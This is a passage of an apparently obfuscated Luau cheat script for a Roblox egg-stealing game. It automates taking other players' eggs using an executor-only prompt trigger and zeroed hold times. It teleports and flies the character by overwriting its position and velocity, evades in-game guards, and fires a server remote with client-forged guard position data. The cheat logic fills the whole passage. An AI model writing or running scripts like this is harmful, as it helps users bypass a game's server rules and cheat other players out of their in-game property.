end
local function fn28(arg)
local ok, result = pcall(function()
return arg:GetPivot().Position
end)
if not ok then
result = ok
end
local v21 = result or nil
return v21
end
fn25 = function(arg, arg2, arg3)
local v21 = fn27(arg.Position, arg3)
local areaEggSlotsClient = workspace:FindFirstChild("AreaEggSlotsClient")
if not areaEggSlotsClient then
return true
end
for _, child in ipairs(areaEggSlotsClient:GetChildren()) do
if child:IsA("Model") and child.Name ~= arg2 then
local flag3 = fn28(child)
flag3 = flag3 and fn27(flag3, arg.Position) + n12 < v21
if flag3 then
return false
end
continue
end
end
return true
end
fn26 = function(arg, arg2, arg3)
local n13 = arg3 or 14
local v21 = nil
local v22
for _, child in ipairs(workspace:GetChildren()) do
if child.Name == "SmartPromptPart" and child:IsA("BasePart") then
local carryAreaEgg = child:FindFirstChild("CarryAreaEgg")
if carryAreaEgg and carryAreaEgg:IsA("ProximityPrompt") then
local v23 = fn27(child.Position, arg2)
if v23 < n13 then
n13 = v23
v21 = carryAreaEgg
v22 = child
end
end
end
end
if not v21 or not v22 then
return nil
end
if type(arg) == "string" and not fn25(v22, arg, arg2) then
return nil
end
return v21, v22
end
end
local fn27
fn27 = function(arg)
local eggState = tbl.EggState
if
type(arg) == "string"
and type(eggState) == "table"
and type(eggState.CarryFieldEgg) == "function"
then
pcall(eggState.CarryFieldEgg, arg)
end
end
local fn28
do
local function fn29()
local carryUid = tbl4.Steal.CarryUid
local flag3 = type(carryUid) == "string"
if not flag3 then
carryUid = flag3
end
local v21 = carryUid or nil
return v21
end
local function fn30(arg)
local v21 = fn29()
if not v21 or type(arg) ~= "string" then
return true
end
return v21 == arg
end
local function fn31(arg)
if type(arg) ~= "string" then
return false
end
local v21 = fn18(false, true)
if #v21 == 0 then
return true
end
for _, v22 in ipairs(v21) do
if v22.Uid == arg then
return true
end
end
return false
end
local function fn32(arg)
local eggState = tbl.EggState
if type(eggState) == "table" and type(eggState.DropFieldEgg) == "function" then
pcall(eggState.DropFieldEgg, "PlayerRequest")
end
local n12 = 0
while tbl4.Steal.Carrying and n12 < 1 and not fn12(arg) do
n12 = n12 + RunService.Heartbeat:Wait()
end
end
fn28 = function(arg, arg2)
local n12 = 0
while not tbl4.Steal.Carrying and n12 < n11 and not fn12(arg2) do
n12 = n12 + RunService.Heartbeat:Wait()
end
if not tbl4.Steal.Carrying then
str2 = "The egg never reached the hand"
return false
end
if fn30(arg) then
return true
end
if fn31((fn29())) then
str2 = "Holding another egg that still matches, delivering it"
return true
end
str2 = "Wrong egg in hand, dropping it"
fn32(arg2)
return false
end
end
local fn29
fn29 = function(arg, arg2)
local eggState = tbl.EggState
local position = typeof(arg.CFrame) == "CFrame" and arg.CFrame.Position or nil
if not position then
return false
end
local n12 = 0
local huge = math.huge
local n13 = 0
while n12 < 1.5 do
if fn12(arg2) then
return false
end
if tbl4.Steal.Carrying then
return true
end
if 0.06 <= huge then
local v21 = fn26(arg.Uid, position)
if v21 then
pcall(function()
v21.HoldDuration = 0
end)
n13 = 0
if typeof(fireproximityprompt) == "function" then
pcall(fireproximityprompt, v21)
n13 = 0
end
else
n13 = n13 + 1
if 4 <= n13 then
return false
end
if type(eggState) == "table" and type(eggState.CarryFieldEgg) == "function" then
pcall(eggState.CarryFieldEgg, arg.Uid)
end
end
huge = 0
end
local result = RunService.Heartbeat:Wait()
n12 = n12 + result
huge = huge + result
end
return tbl4.Steal.Carrying == true
end
local fn30, fn31, n12, n13
do
local v21 = fn3(function()
return ReplicatedStorage.Shared.Modules.Ragdoll
end)
local function fn32()
local character = localPlayer.Character
if type(v21) == "table" and type(v21.IsRagdolled) == "function" then
local ok, result = pcall(v21.IsRagdolled, character)
ok = ok and result == true
if ok then
return true
end
end
local num = tonumber(localPlayer:GetAttribute("RagdollEndTime"))
num = num and num > workspace:GetServerTimeNow()
if num then
return true
end
local humanoid = character and character:FindFirstChildOfClass("Humanoid")
if humanoid then
local state = humanoid:GetState()
local flag3 = state == Enum.HumanoidStateType.Physics
or state == Enum.HumanoidStateType.Ragdoll
or state == Enum.HumanoidStateType.FallingDown
return flag3
end
return false
end
fn30 = function(arg, arg2)
if tbl4.Steal.Carrying then
return true
end
local rfEggWorldAskFieldEggSnapshot =
networking:FindFirstChild("RF/EggWorld/AskFieldEggSnapshot")
if
not rfEggWorldAskFieldEggSnapshot
or not rfEggWorldAskFieldEggSnapshot:IsA("RemoteFunction")
then
return false
end
local n14 = 0
while n14 < 1 do
if fn12(arg2) or tbl4.Steal.Carrying then
return tbl4.Steal.Carrying == true
end
local ok, result =
pcall(rfEggWorldAskFieldEggSnapshot.InvokeServer, rfEggWorldAskFieldEggSnapshot)
ok = ok and type(result) == "table"
ok = ok and result.Records
local v22 = ok or nil
if type(v22) == "table" then
local flag3 = false
for _, v23 in pairs(v22) do
local flag4 = type(v23) == "table" and v23.Uid == arg
local flag5
if flag4 then
flag5 = v23.State == "Slot" or v23.State == "Dropped"
else
flag5 = flag4
end
if flag5 then
flag3 = true
break
else
flag3 = false
end
end
if not flag3 then
return tbl4.Steal.Carrying == true
end
end
n14 = n14 + task.wait(0.3)
end
return tbl4.Steal.Carrying == true
end
local function fn33(arg)
local v22 = tbl4.Root()
local position = typeof(arg.CFrame) == "CFrame" and arg.CFrame.Position or nil
if not v22 or not position then
return math.huge
end
return (v22.Position - position).Magnitude
end
fn31 = function(arg)
local huge = math.huge
local v22 = nil
for _, v23 in ipairs(arg) do
local v24 = fn33(v23)
if v24 < huge then
huge = v24
v22 = v23
end
end
return v22, huge
end
n12 = 20
n13 = 90
local n14 = 6
local function fn34(arg, arg2, arg3, arg4, arg5, arg6)
fn21()
local v22 = tbl4.Root()
if not v22 then
return false
end
local character = localPlayer.Character
local position = v22.Position
local tbl17 = {}
local position2 = nil
local flag3 = nil
local str3 = nil
local n15 = 0
local function fn34()
if arg4 ~= nil then
return true
end
return true
end
local function fn35(arg7)
n15 = n15 + arg7
if fn12(arg2) then
flag3 = false
return nil
end
local flag4 = arg3
if arg3 then
flag4 = not tbl4.Steal.Carrying
end
if flag4 then
flag3 = false
str3 = "dropped"
return nil
end
if arg6 then
local v23 = arg6()
if v23 then
flag3 = false
str3 = v23
return nil
end
end
local v23 = tbl4.Root()
if not v23 or n15 >= 25 or localPlayer.Character ~= character then
flag3 = false
str3 = "respawned"
return nil
end
return v23
end
local connection = RunService.Heartbeat:Connect(function(arg7)
if flag3 ~= nil or fn34() or tbl4.AntiGuard.Busy then
return
end
local v23 = fn35(arg7)
if not v23 then
return
end
if (v23.Position - position).Magnitude > n10 then
if arg5 then
flag3 = false
str3 = "displaced"
return
end
position = v23.Position
end
local v24 = arg4
local v25
if arg4 then
v25 = v24
else
v25 = n2
end
local n16 = arg - position
local n17 = v25 * arg7
local flag4 = n16.Magnitude <= math.max(n17, 0.05)
local n18 = flag4 and arg or position + n16.Unit * n17
position = n18
local vector = Vector3.new(n16.X, 0, n16.Z)
local cframe = vector.Magnitude > 0.05
and CFrame.lookAt(Vector3.new(0, 0, 0), vector.Unit)
or v23.CFrame.Rotation
pcall(function()
v23.CFrame = CFrame.new(position) * cframe
v23.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
v23.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
end)
if flag4 then
flag3 = true
end
end)
local connection2 = RunService.PreSimulation:Connect(function(arg7)
if flag3 ~= nil or not fn34() or tbl4.AntiGuard.Busy then
return
end
local v23 = fn35(arg7)
if not v23 then
return
end
local v24 = arg4
if not arg4 then
v24 = n2
end
local flag4 = arg5
if arg5 then
flag4 = position2
end
flag4 = flag4 and (v23.Position - position2).Magnitude > n10 + v24 * arg7
if flag4 then
flag3 = false
str3 = "displaced"
return
end
if fn19(v23, arg, v24, arg7, tbl17) then
flag3 = true
end
position2 = v23.Position
position = v23.Position
end)
while flag3 == nil do
RunService.Heartbeat:Wait()
end
connection:Disconnect()
connection2:Disconnect()
if fn34() and not flag3 then
fn20()
end
if flag3 then
fn23(arg, arg4 ~= nil)
end
return flag3, str3
end
local tbl17 = {
{
Path = { "GearGiver_Slap", "Podium" },
Offset = Vector3.new(-16.415000915527344, 21.07200050354004, -6.105999946594238),
},
{
Path = { "World", "Machines", "RiftMachine", "Rift", "Meshes/VoidPortal_Cube.003" },
Offset = Vector3.new(-26.775999069213867, 1.75, 18.665000915527344),
},
{
Path = {
"__OBJECTS",
"Machines",
"RiftMachine",
"Rift",
"Meshes/VoidPortal_Cube.003",
},
Offset = Vector3.new(-26.775999069213867, 1.75, 18.665000915527344),
},
}
local function fn35()
for _, v22 in ipairs(tbl17) do
local v23 = workspace
for _, v24 in ipairs(v22.Path) do
v23 = v23 and v23:FindFirstChild(v24)
v23 = v23 or nil
end
if v23 and v23:IsA("BasePart") then
local cFrame = v23.CFrame
return cFrame:PointToWorldSpace(v22.Offset)
end
end
return Vector3.new(528.7000122070313, 70.56999969482422, -364.1099853515625)
end
tbl4.StealHome = fn35
tbl4.InsideBase = function(arg)
if not arg then
arg = tbl4.Root()
arg = arg and arg.Position
end
if arg == nil then
return false
end
local world = workspace:FindFirstChild("World") or workspace:FindFirstChild("__OBJECTS")
world = world and world:FindFirstChild("Areas")
world = world and world:FindFirstChild("SeparationLine")
local x = world and world:IsA("BasePart") and world.Position.X or 552
return arg.X < x
end
local function fn36(arg)
if tbl4.AntiGuard.Busy then
return false
end
local character = localPlayer.Character
local v22 = tbl4.Root()
if not character or not v22 then
return false
end
local rotation = v22.CFrame.Rotation
local n15 = CFrame.new(arg) * rotation
pcall(function()
character:PivotTo(n15)
end)
if 3 < (v22.Position - arg).Magnitude then
pcall(function()
v22.CFrame = n15
end)
end
for _, descendant in ipairs(character:GetDescendants()) do
if descendant:IsA("BasePart") then
pcall(function()
descendant.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
descendant.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
end)
end
end
return true
end
local function fn37(arg)
if tbl4.AntiGuard.Busy then
return
end
local character = localPlayer.Character
local v22 = tbl4.Root()
if not character or not v22 or not arg then
return
end
if 6 < (v22.Position - arg).Magnitude then
fn36(arg)
return
end
for _, descendant in ipairs(character:GetDescendants()) do
if
descendant:IsA("BasePart")
and descendant ~= v22
and (descendant.Position - v22.Position).Magnitude > 12
then
pcall(function()
descendant.CFrame = v22.CFrame
descendant.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
end)
end
end
end
local function fn38(arg, arg2)
local n15 = 0
while true do
if not (n15 < n14) then
return not fn12(arg)
else
if fn12(arg) then
break
end
local character = localPlayer.Character
local flag3 = fn32()
local v22
if not flag3 and character then
for _, descendant in ipairs(character:GetDescendants()) do
if
descendant:IsA("Constraint")
and string.find(descendant.Name, "RagdollConstraint", 1, true)
then
flag3 = true
break
end
end
v22 = flag3
else
v22 = flag3
end
if not v22 then
return not fn12(arg)
end
fn37(arg2)
n15 = n15 + RunService.Heartbeat:Wait()
end
end
return false
end
local function fn39(arg)
local world = workspace:FindFirstChild("World") or workspace:FindFirstChild("__OBJECTS")
world = world and world:FindFirstChild("Areas")
world = world and world:FindFirstChild("GuardAreas")
local areaId = world and arg and arg.AreaId and world:FindFirstChild(arg.AreaId)
local guard = areaId and areaId:FindFirstChild("Guard") or nil
return guard
end
local function fn40(arg)
local v22 = fn39(arg)
local flag3 = v22 ~= nil and v22:GetAttribute("GuardState") == "Sleeping"
return flag3
end
local n15 = 3
local function fn41(arg)
local v22 = fn39(arg)
local position = typeof(arg.CFrame) == "CFrame" and arg.CFrame.Position or nil
if not v22 or not position then
return nil, nil
end
local ok, result = pcall(function()
return v22:GetPivot().Position
end)
if not ok then
return nil, nil
end
local vector = Vector3.new(position.X - result.X, 0, position.Z - result.Z)
if vector.Magnitude < 0.1 then
return nil, nil
end
local n16 = result + vector.Unit * n15
return Vector3.new(n16.X, position.Y + 3, n16.Z), result
end
local function fn42(arg, arg2)
local tbl18 = { Landed = false, Destination = arg2 }
local antiGuard = tbl4.AntiGuard
antiGuard.HitArms = antiGuard.HitArms + 1
tbl4.AntiGuard.HitArmedAt = os.clock()
tbl18.Link = localPlayer:GetAttributeChangedSignal("RagdollEndTime"):Connect(function()
if tbl18.Landed or fn12(arg) then
return
end
local num = tonumber(localPlayer:GetAttribute("RagdollEndTime"))
if not num or num <= workspace:GetServerTimeNow() then
return
end
local v22 = tbl4.Root()
if not v22 then
return
end
tbl18.Landed = true
fn21()
pcall(function()
v22.CFrame = CFrame.new(tbl18.Destination)
v22.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
end)
end)
tbl18.Stop = function()
if tbl18.Link then
tbl18.Link:Disconnect()
tbl18.Link = nil
tbl4.AntiGuard.HitArms = math.max(0, tbl4.AntiGuard.HitArms - 1)
end
end
return tbl18
end
local function fn43(arg, arg2, arg3)
local character = localPlayer.Character
character = character and character:FindFirstChildOfClass("Humanoid")
if character then
character.PlatformStand = false
end
local n16 = 0
local v22 = nil
while true do
if not arg2.Landed and n16 < n12 then
if not fn12(arg) then
if arg3 then
arg3(arg2)
end
if not tbl4.Steal.Carrying then
local v23 = v22 or n16
if 1 < n16 - v23 then
break
else
v22 = v23
n16 = n16 + RunService.Heartbeat:Wait()
continue
end
else
n16 = n16 + RunService.Heartbeat:Wait()
continue
end
end
end
break
end
arg2.Stop()
return arg2.Landed
end
local n16 = 20
local function fn44(arg, arg2, arg3, arg4)
local position = typeof(arg.CFrame) == "CFrame" and arg.CFrame.Position or nil
if not position then
return false
end
local n17 = 0
local huge = math.huge
while n17 < arg3 do
if fn12(arg2) then
return false
end
if tbl4.Steal.Carrying then
return true
end
if 0.1 <= huge then
local v22 = fn26(arg.Uid, position)
if v22 then
pcall(function()
v22.HoldDuration = 0
end)
if typeof(fireproximityprompt) == "function" then
pcall(fireproximityprompt, v22)
end
else
fn27(arg.Uid)
end
huge = 0
end
if arg4 then
fn37(arg4)
end
local result = RunService.Heartbeat:Wait()
n17 = n17 + result
huge = huge + result
end
return tbl4.Steal.Carrying == true
end
local function fn45(arg, arg2, arg3, arg4)
local position = typeof(arg.CFrame) == "CFrame" and arg.CFrame.Position or nil
if not position then
return false
end
local n17 = position + Vector3.new(0, 3, 0)
local character = localPlayer.Character
local humanoid = character and character:FindFirstChildOfClass("Humanoid")
if humanoid and character:FindFirstChildWhichIsA("Tool") then
pcall(function()
humanoid:UnequipTools()
end)
end
if arg3 then
fn23(n17, true)
str2 = "Waiting to stand up"
if not fn38(arg2, n17) then
return false
end
else
str2 = "Jumping to the egg"
local v22 = tbl4.Root()
if v22 and (n17 - v22.Position).Magnitude <= n13 then
pcall(function()
local rotation = v22.CFrame.Rotation
v22.CFrame = CFrame.new(n17) * rotation
v22.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
v22.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
end)
elseif not fn34(n17, arg2, nil, n4) then
return false
end
end
if fn12(arg2) then
return false
end
local flag3 = arg4 and typeof(arg4.CFrame) == "CFrame"
local v22 = nil
if flag3 then
v22 = fn42(arg2, arg4.CFrame.Position + Vector3.new(0, 3, 0))
end
local str3 = "FirstAreaEgg_" .. tostring(localPlayer.UserId)
local flag4 = type(arg.Uid) == "string"
and string.sub(arg.Uid, 1, #str3) == str3
and string.match(arg.Uid, "_([%w ]+:Slot_%d+)$")
or nil
arg4 = arg4 and flag4
local flag5 = false
if arg4 then
local eggState = tbl.EggState
local flag6 = type(eggState) == "table"
and type(eggState.CarryFieldEgg) == "function"
flag5 = false
if flag6 then
str2 = "Taking the starter egg"
task.spawn(function()
pcall(eggState.CarryFieldEgg, arg.Uid, flag4)
end)
local n18 = 0
while not tbl4.Steal.Carrying and n18 < 0.8 do
if fn12(arg2) then
return false
end
n18 = n18 + RunService.Heartbeat:Wait()
end
flag5 = tbl4.Steal.Carrying == true
end
end
if not flag5 then
str2 = "Taking the egg"
flag5 = fn29(arg, arg2)
if not flag5 and not fn12(arg2) then
fn34(n17, arg2, nil, n4)
flag5 = fn29(arg, arg2)
end
end
if not flag5 and not fn30(arg.Uid, arg2) then
if v22 then
v22.Stop()
end
tbl14[arg.Uid] = os.clock() + n7
str2 = "That egg would not come free"
return false
end
if v22 then
local reGuardPatrolForestStrike =
networking:FindFirstChild("RE/GuardPatrol/ForestStrike")
local v23 = fn39(arg) or fn39({ AreaId = "Forest" })
local humanoidRootPart = v23 and v23:FindFirstChild("HumanoidRootPart")
if
reGuardPatrolForestStrike
and reGuardPatrolForestStrike:IsA("RemoteEvent")
and humanoidRootPart
then
str2 = "Calling the guard strike"
pcall(function()
reGuardPatrolForestStrike:FireServer({
EggUid = arg.Uid,
GuardCFrame = humanoidRootPart.CFrame,
})
end)
end
end
tbl4.Steal.LastFinishedAt = os.clock()
return true, v22
end
local n17 = 3
local n18 = 30
local function fn46(arg, arg2, arg3)
local v22 = nil
local v23 = nil
for _, child in ipairs(workspace:GetChildren()) do
if child.Name == "SmartPromptPart" and child:IsA("BasePart") then
local carryAreaEgg = child:FindFirstChild("CarryAreaEgg")
if carryAreaEgg and carryAreaEgg:IsA("ProximityPrompt") then
local magnitude = (child.Position - arg).Magnitude
if magnitude < arg2 then
arg2 = magnitude
v22 = carryAreaEgg
v23 = child
end
end
end
end
if v22 and v23 and type(arg3) == "string" and not fn25(v23, arg3, arg) then
return nil
end
return v22, v23
end
local function fn47(arg)
local areaEggSlotsClient = workspace:FindFirstChild("AreaEggSlotsClient")
local v22 = workspace:FindFirstChild(arg)
or areaEggSlotsClient and areaEggSlotsClient:FindFirstChild(arg)
if not v22 then
return nil
end
local ok, result = pcall(function()
return v22:GetPivot().Position
end)
if not ok then
result = ok
end
local v23 = result or nil
return v23
end
local function fn48(arg)
local rfEggWorldAskFieldEggSnapshot =
networking:FindFirstChild("RF/EggWorld/AskFieldEggSnapshot")
if
not rfEggWorldAskFieldEggSnapshot
or not rfEggWorldAskFieldEggSnapshot:IsA("RemoteFunction")
then
return nil
end
local ok, result =
pcall(rfEggWorldAskFieldEggSnapshot.InvokeServer, rfEggWorldAskFieldEggSnapshot)
local records = ok and type(result) == "table" and result.Records or nil
if type(records) ~= "table" then
return nil
end
for _, record in pairs(records) do
if
type(record) == "table"
and record.Uid == arg
and typeof(record.BottomCFrame) == "CFrame"
then
return record.BottomCFrame.Position
end
end
return nil
end
local function fn49(arg)
local v22 = workspace:FindFirstChild(arg)
if not v22 then
return false
end
for _, descendant in ipairs(v22:GetDescendants()) do
if
descendant:IsA("JointInstance")
or descendant:IsA("WeldConstraint")
or descendant:IsA("RigidConstraint")
then
local ok, result, result2 = pcall(function()
return descendant.Part0, descendant.Part1
end)
if ok then
for _, v23 in ipairs({ result, result2 }) do
if typeof(v23) == "Instance" and not v23:IsDescendantOf(v22) then
local model = v23:FindFirstAncestorOfClass("Model")
if
model
and model ~= localPlayer.Character
and Players:GetPlayerFromCharacter(model)
then
return true
end
continue
end
end
end
end
end
return false
end
local function fn50(arg, arg2)
local carryUid = arg2 or tbl4.Steal.CarryUid
if type(carryUid) ~= "string" then
return false
end
fn21()
str2 = "Following the egg"
local n19 = nil
local vector = Vector3.new(0, 0, 0)
local connection = RunService.PreSimulation:Connect(function(arg3)
local v22 = tbl4.Root()
if not v22 or not n19 or tbl4.Steal.Carrying or fn12(arg) then
return
end
if fn22() then
if 2 < (v22.Position - n19).Magnitude then
fn36(n19)
end
return
end
local n20 = math.max(arg3, 0.004166666666666667)
local n21 = vector + (n19 - v22.Position) / math.max(0.08, n20)
local n22 = n4 + vector.Magnitude
if n22 < n21.Magnitude then
n21 = n21.Unit * n22
end
local n23 = n21 + Vector3.new(0, workspace.Gravity * n20 * 0.5, 0)
pcall(function()
v22.AssemblyLinearVelocity = n23
v22.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
end)
end)
local n20 = 0
local huge = math.huge
local v22 = nil
local v23 = nil
local n21 = 0
local huge2 = math.huge
local n22 = 0
local flag3
while true do
flag3 = false
if not (n20 < n18) then
break
else
flag3 = false
if not fn12(arg) then
if tbl4.Steal.Carrying then
flag3 = true
break
else
local v24 = tbl4.Root()
flag3 = false
if v24 then
local v25 = fn47(carryUid)
local now, flag4, n23, flag5, v26, result
if not v25 and huge >= 0.5 then
v25 = fn48(carryUid)
flag3 = false
local n24 = 0
if v25 then
huge = n24
if v25 then
now = os.clock()
flag4 = v22 and v23 and now > v23
if flag4 then
n23 = (v25 - v22)
/ math.max(now - v23, 0.004166666666666667)
if n23.Magnitude < 3000 then
vector = vector:Lerp(n23, 0.3)
end
end
n19 = v25 + Vector3.new(0, 3, 0)
v22 = v25
v23 = now
end
if n21 >= 0.4 then
n21 = 0
if fn49(carryUid) then
str2 = "Another player took the egg"
flag3 = false
break
else
flag5 = n19
and (n19 - v24.Position).Magnitude <= n16
and huge2 >= 0.1
if flag5 then
v26 = fn46(
n19 - Vector3.new(0, 3, 0),
6,
carryUid
)
if v26 then
pcall(function()
v26.HoldDuration = 0
end)
huge2 = 0
n22 = 0
if
typeof(fireproximityprompt)
== "function"
then
pcall(fireproximityprompt, v26)
huge2 = 0
n22 = 0
end
result = RunService.Heartbeat:Wait()
n20 = n20 + result
huge2 = huge2 + result
huge = huge + result
n21 = n21 + result
continue
else
n22 = n22 + 1
huge2 = 0
if not (20 <= n22) then
result = RunService.Heartbeat:Wait()
n20 = n20 + result
huge2 = huge2 + result
huge = huge + result
n21 = n21 + result
continue
else
flag3 = false
break
end
end
else
result = RunService.Heartbeat:Wait()
n20 = n20 + result
huge2 = huge2 + result
huge = huge + result
n21 = n21 + result
continue
end
end
else
flag5 = n19
and (n19 - v24.Position).Magnitude <= n16
and huge2 >= 0.1
if flag5 then
v26 = fn46(n19 - Vector3.new(0, 3, 0), 6, carryUid)
if v26 then
pcall(function()
v26.HoldDuration = 0
end)
huge2 = 0
n22 = 0
if
typeof(fireproximityprompt) == "function"
then
pcall(fireproximityprompt, v26)
huge2 = 0
n22 = 0
end
result = RunService.Heartbeat:Wait()
n20 = n20 + result
huge2 = huge2 + result
huge = huge + result
n21 = n21 + result
continue
else
n22 = n22 + 1
huge2 = 0
if not (20 <= n22) then
result = RunService.Heartbeat:Wait()
n20 = n20 + result
huge2 = huge2 + result
huge = huge + result
n21 = n21 + result
continue
else
flag3 = false
break
end
end
else
result = RunService.Heartbeat:Wait()
n20 = n20 + result
huge2 = huge2 + result
huge = huge + result
n21 = n21 + result
continue
end
end
end
else
if v25 then
now = os.clock()
flag4 = v22 and v23 and now > v23
if flag4 then
n23 = (v25 - v22)
/ math.max(now - v23, 0.004166666666666667)
if n23.Magnitude < 3000 then
vector = vector:Lerp(n23, 0.3)
end
end
n19 = v25 + Vector3.new(0, 3, 0)
v22 = v25
v23 = now
end
if n21 >= 0.4 then
n21 = 0
if fn49(carryUid) then
str2 = "Another player took the egg"
flag3 = false
break
else
flag5 = n19
and (n19 - v24.Position).Magnitude <= n16
and huge2 >= 0.1
if flag5 then
v26 = fn46(n19 - Vector3.new(0, 3, 0), 6, carryUid)
if v26 then
pcall(function()
v26.HoldDuration = 0
end)
huge2 = 0
n22 = 0
if
typeof(fireproximityprompt) == "function"
then
pcall(fireproximityprompt, v26)
huge2 = 0
n22 = 0
end
result = RunService.Heartbeat:Wait()
n20 = n20 + result
huge2 = huge2 + result
huge = huge + result
n21 = n21 + result
continue
else
n22 = n22 + 1
huge2 = 0
if not (20 <= n22) then
result = RunService.Heartbeat:Wait()
n20 = n20 + result
huge2 = huge2 + result
huge = huge + result
n21 = n21 + result
continue
else
flag3 = false
break
end
end
else
result = RunService.Heartbeat:Wait()
n20 = n20 + result
huge2 = huge2 + result
huge = huge + result
n21 = n21 + result
continue
end
end
else
flag5 = n19
and (n19 - v24.Position).Magnitude <= n16
and huge2 >= 0.1
if flag5 then
v26 = fn46(n19 - Vector3.new(0, 3, 0), 6, carryUid)
if v26 then
pcall(function()
v26.HoldDuration = 0
end)
huge2 = 0
n22 = 0
if typeof(fireproximityprompt) == "function" then
pcall(fireproximityprompt, v26)
huge2 = 0
n22 = 0
end
result = RunService.Heartbeat:Wait()
n20 = n20 + result
huge2 = huge2 + result
huge = huge + result
n21 = n21 + result
continue
else
n22 = n22 + 1
huge2 = 0
if not (20 <= n22) then
result = RunService.Heartbeat:Wait()
n20 = n20 + result
huge2 = huge2 + result
huge = huge + result
n21 = n21 + result
continue
else
flag3 = false
break
end
end
else
result = RunService.Heartbeat:Wait()
n20 = n20 + result
huge2 = huge2 + result
huge = huge + result
n21 = n21 + result
continue
end
end
end
end
end
end
break
end
end
connection:Disconnect()
fn20()
local flag4 = flag3 or tbl4.Steal.Carrying == true
return flag4
end
local function fn51(arg, arg2)
local position = typeof(arg.CFrame) == "CFrame" and arg.CFrame.Position or nil
if not position then
return false
end
if tbl4.InsideBase() and not tbl4.InsideBase(position) then
local v22 = fn35()
if v22 then
str2 = "Leaving the base through the safe zone"
if not fn34(v22 + Vector3.new(0, 3, 0), arg2, nil, n4) then
return false
end
end
end
str2 = "Flying to the egg"
if not fn34(position + Vector3.new(0, 3, 0), arg2, nil, n4) then
return false
end
str2 = "Taking the egg"
local v22 = fn44(arg, arg2, 0.6, nil)
if not v22 and not fn12(arg2) then
v22 = fn29(arg, arg2)
end
if not v22 and not fn30(arg.Uid, arg2) then
tbl14[arg.Uid] = os.clock() + n7
return false
end
tbl4.Steal.LastFinishedAt = os.clock()
return true
end
local tbl18 = { Uid = nil, Freed = nil, Token = nil }
local n19 = 3
local function fn52()
local world = workspace:FindFirstChild("World") or workspace:FindFirstChild("__OBJECTS")
world = world and world:FindFirstChild("Areas")
local guardAreas = world and world:FindFirstChild("GuardAreas")
local v22 = tbl4.Root()
if not guardAreas or not v22 then
return nil
end
local str3 = tostring(localPlayer.UserId)
local carryAreaId = tbl4.Steal.CarryAreaId
and fn39({ AreaId = tostring(tbl4.Steal.CarryAreaId) })
or nil
local huge = math.huge
local v23 = nil
for _, child in ipairs(guardAreas:GetChildren()) do
local guard = child:FindFirstChild("Guard")
if guard then
if
tostring(guard:GetAttribute("TargetPlayer")) == str3
or tostring(guard:GetAttribute("WakeTargetPlayer")) == str3
then
return guard
end
local ok, result = pcall(function()
return guard:GetPivot().Position
end)
if ok then
local magnitude = (result - v22.Position).Magnitude
if magnitude < huge then
v23 = guard
huge = magnitude
end
end
end
end
carryAreaId = carryAreaId or v23
return carryAreaId
end
local function fn53(arg, arg2, arg3)
local v22 = fn52()
if not v22 then
return false
end
local v23 = fn42(arg, arg3 + Vector3.new(0, 3, 0))
local n20 = 0
while true do
if not v23.Landed and n20 < n12 and not fn12(arg) then
local ok, result = pcall(function()
return v22:GetPivot().Position
end)
local v24 = tbl4.Root()
if not (not ok or not v24) then
if n15 + 5 < (result - v24.Position).Magnitude then
local vector =
Vector3.new(v24.Position.X - result.X, 0, v24.Position.Z - result.Z)
local vector2 = vector.Magnitude > 0.1 and vector.Unit * n15
or Vector3.new(0, 0, 0)
local n21 = result + vector2
fn34(
Vector3.new(n21.X, result.Y + 3, n21.Z),
arg,
nil,
n4,
true,
function()
if v23.Landed then
return "hit"
end
return nil
end
)
end
n20 = n20 + RunService.Heartbeat:Wait()
continue
end
end
break
end
v23.Stop()
if not v23.Landed then
return false
end
return fn50(arg, arg2)
end
local function fn54(arg)
local n20 = 0
while tbl4.AntiGuard.Busy and n20 < 4 and not fn12(arg) do
str2 = "Anti Guard is slipping past the guard"
n20 = n20 + RunService.Heartbeat:Wait()
end
local n21 = 0
while not tbl4.Steal.Carrying and n21 < n11 and not fn12(arg) do
str2 = "Checking the egg in hand"
n21 = n21 + RunService.Heartbeat:Wait()
end
if not tbl4.Steal.Carrying then
str2 = "The egg is gone, staying to look for it"
if not fn50(arg) then
str2 = "The egg is gone"
return false
end
end
local v22 = fn35()
local v23 = tbl4.Root()
if not v22 or not v23 then
return false
end
local n22 = math.max(v23.Position.Y, v22.Y) + n3
local function fn54()
if tbl18.Uid and tbl18.Freed and tbl4.Steal.Carrying then
return "priority"
end
return nil
end
local flag3 = true
local n23 = 0
while true do
local v24 = tbl4.Root()
if not v24 then
return false
else
str2 = "Flying home"
local position = v24.Position
local n24 = math.max(n22, position.Y)
local v25, v26 = fn34(
Vector3.new(
position.X + (v22.X - position.X) * 0.25,
position.Y + (n24 - position.Y) * 0.7,
position.Z + (v22.Z - position.Z) * 0.25
),
arg,
flag3,
nil,
nil,
fn54
)
if v25 then
local v27, v28 =
fn34(Vector3.new(v22.X, n24, v22.Z), arg, flag3, nil, nil, fn54)
v25 = v27
v26 = v28
end
local v27
if v25 then
local v28, v29 = fn34(v22, arg, flag3, nil, nil, fn54)
v26 = v29
v27 = v28
else
v27 = v25
end
if v27 then
local character = localPlayer.Character
character = character and character:FindFirstChildOfClass("Humanoid")
if character then
character.PlatformStand = false
end
task.wait(0.2)
if not tbl4.Steal.Carrying then
str2 = "Arrived without the egg"
return false
end
local eggState = tbl.EggState
if
type(eggState) == "table"
and type(eggState.DropFieldEgg) == "function"
then
pcall(eggState.DropFieldEgg, "PlayerRequest")
end
return true
end
if v26 == "priority" then
local uid = tbl18.Uid
local freed = tbl18.Freed
local v28 = tbl18
tbl18.Uid = nil
v28.Freed = nil
local v29 = tbl4.Root()
if not v29 or not uid or not freed then
return false
end
if (freed - v29.Position).Magnitude <= n4 * n19 then
str2 = "Best egg fell nearby, swapping eggs"
local eggState = tbl.EggState
if
type(eggState) == "table"
and type(eggState.DropFieldEgg) == "function"
then
pcall(eggState.DropFieldEgg, "PlayerRequest")
end
local n25 = 0
while tbl4.Steal.Carrying and n25 < 1 do
n25 = n25 + RunService.Heartbeat:Wait()
end
if not fn50(arg, uid) then
return false
end
else
str2 = "Best egg fell far away, riding a guard hit to it"
if not fn53(arg, uid, freed) then
return false
end
end
local v30 = tbl4.Root()
flag3 = true
n23 = 0
if v30 then
